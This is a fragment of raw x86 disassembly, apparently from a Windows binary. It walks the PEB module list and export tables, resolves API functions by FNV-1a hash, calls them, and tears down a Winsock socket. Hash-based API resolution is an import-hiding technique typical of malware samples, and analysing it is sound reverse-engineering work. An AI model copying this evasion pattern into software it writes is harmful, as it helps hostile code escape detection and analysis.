imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x486f23
nop dword [eax]
push 0x64
call edi
mov ecx, dword [0x570134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x570130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x486f00
mov byte [0x56ff39], 1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x486fa4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x486fa4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486f9d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486f80
cmp esi, 0x2fa62ca8
je 0x486fa8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486f66
mov eax, dword [eax]
jmp 0x486f36
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push 0xbb8
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 2
push dword [0x56db3c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x56db3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp byte [0x56ff56], 0
je 0x4870ad
cmp byte [ebp - 0x29], 0
je 0x4870ad
nop
push 0x29
push 0xbde5a495
call fcn.00411d80
mov ecx, dword fs:[0x30]
add esp, 8
mov dword [ebp - 0x14], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x1c], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x487084
mov edi, dword [eax + 0x18]
test edi, edi
je 0x487084
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
mov eax, dword [ebx - 4]
lea ebx, [ebx - 4]
add eax, esi
dec edi
mov esi, 0x811c9dc5
mov dl, byte [eax]
inc eax
test dl, dl
je 0x48707d
nop word [eax + eax]
movsx edx, dl
lea eax, [eax + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [eax - 1]
test dl, dl
jne 0x487060
cmp esi, 0x2fa62ca8
je 0x487088
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x487045
mov ecx, dword [ecx]
jmp 0x487020
mov esi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x14]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x487000
call sub.KERNEL32.dll_GetCurrentProcessId
mov esi, eax
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0x1c8]
call fcn.0040b870
mov byte [ebp - 4], 6
lea eax, [ebp - 0x1c8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xb5
lea ecx, [ebp - 0x288]
call fcn.0040b870
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x288]
mov dword [ebp - 0x94], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10